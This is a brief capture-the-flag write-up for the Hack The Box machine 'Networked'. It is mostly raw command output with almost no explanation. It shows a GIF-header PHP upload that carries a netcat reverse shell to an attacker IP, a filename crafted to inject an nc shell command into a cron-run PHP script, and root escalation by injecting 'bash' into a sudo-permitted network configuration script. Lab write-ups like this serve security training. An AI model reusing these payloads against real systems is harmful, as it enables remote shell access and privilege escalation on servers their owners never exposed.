MAGIC BYTE PHP

REVERSE SHELL

```
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Device type: general purpose|WAP|specialized|storage-misc|printer
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X (94%), Asus embedded (90%), Crestron 2-Series (89%), HP embedded (89%), Ubiquiti embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel cpe:/h:asus:rt-ac66u cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.32 cpe:/h:ubnt:airmax_nanostatio
```

```
root@kali:/home/kali/Desktop/hackthebox/networked# gobuster dir -u http://networked.htb -w /usr/share/wordlists/dirb/common.txt -x .php, .txt
/.hta (Status: 403)
/.hta.php (Status: 403)
/.hta. (Status: 403)
/.htaccess (Status: 403)
/.htaccess. (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd. (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/cgi-bin/. (Status: 403)
/index.php (Status: 200)
```

```
/index.php (Status: 200)

/lib.php (Status: 200)

/photos.php (Status: 200)

/upload.php (Status: 200)

/uploads (Status: 301)
```

http://networked.htb/backup/

```
root@kali:/home/kali/Desktop/hackthebox/networked# tar xvf backup.tar

index.php

lib.php

photos.php

upload.php
```

http://networked.htb/upload.php

```
root@akg:/home/akg/Desktop/hackthebox/networked# cat reverse.php.gif

GIF8;

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.33 8082 >/tmp/f"); ?>

root@akg:/home/akg# nc -nlvp 8082
```

http://networked.htb/photos.php

SHELL GAINED!!!!!!!

```
bash-4.2$ ls

check_attack.php  crontab.guly  user.txt

bash-4.2$ cat crontab.guly

*/3 * * * * php /home/guly/check_attack.php

bash-4.2$ pwd

/home/guly


bash-4.2$ cat check_attack.php

<?php

require '/var/www/html/lib.php';

$path = '/var/www/html/uploads/';

$logpath = '/tmp/attack.log';

$to = 'guly';
```

```
$msg= '';

$headers = "X-Mailer: check_attack.php\r\n";


$files = array();

$files = preg_grep('/^([^.])/', scandir($path));


foreach ($files as $key => $value) {

        $msg='';

  if ($value == 'index.html') {

        continue;

  }

  #echo "-------------\n";


  #print "check: $value\n";

  list ($name,$ext) = getnameCheck($value);

  $check = check_ip($name,$value);


  if (!($check[0])) {

    echo "attack!\n";

    # todo: attach file

    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);


    exec("rm -f $logpath");

    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

    echo "rm -f $path$value\n";

    mail($to, $msg, $msg, $headers, "-F$value");

  }

}


?>
```

$path = '/var/www/html/uploads/';

```
bash-4.2$ cd /var/www/html/uploads/
bash-4.2$ touch '; nc 10.10.14.16 1338 -c bash'
root@kali:/home/kali/Desktop/tools# nc -nlvp 1338
USER GULY !!!!!!!
[guly@networked /]$ sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked /]$ sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked /]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
```

```
DEVICE=guly0

ONBOOT=no

NM_CONTROLLED=no

EoF


regexp="^[a-zA-Z0-9_\ /-]+$"


for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do

    echo "interface $var:"

    read x

    while [[ ! $x =~ $regexp ]]; do

        echo "wrong input, try again"

        echo "interface $var:"

        read x

    done

    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly

done


/sbin/ifup guly0
```

```
[guly@networked /]$ sudo /usr/local/sbin/changename.sh

interface NAME:

test

interface PROXY_METHOD:

test

interface BROWSER_ONLY:

test

interface BOOTPROTO:

test

ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

[guly@networked /]$ sudo /usr/local/sbin/changename.sh

interface NAME:
```

```
test bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
[root@networked network-scripts]#
```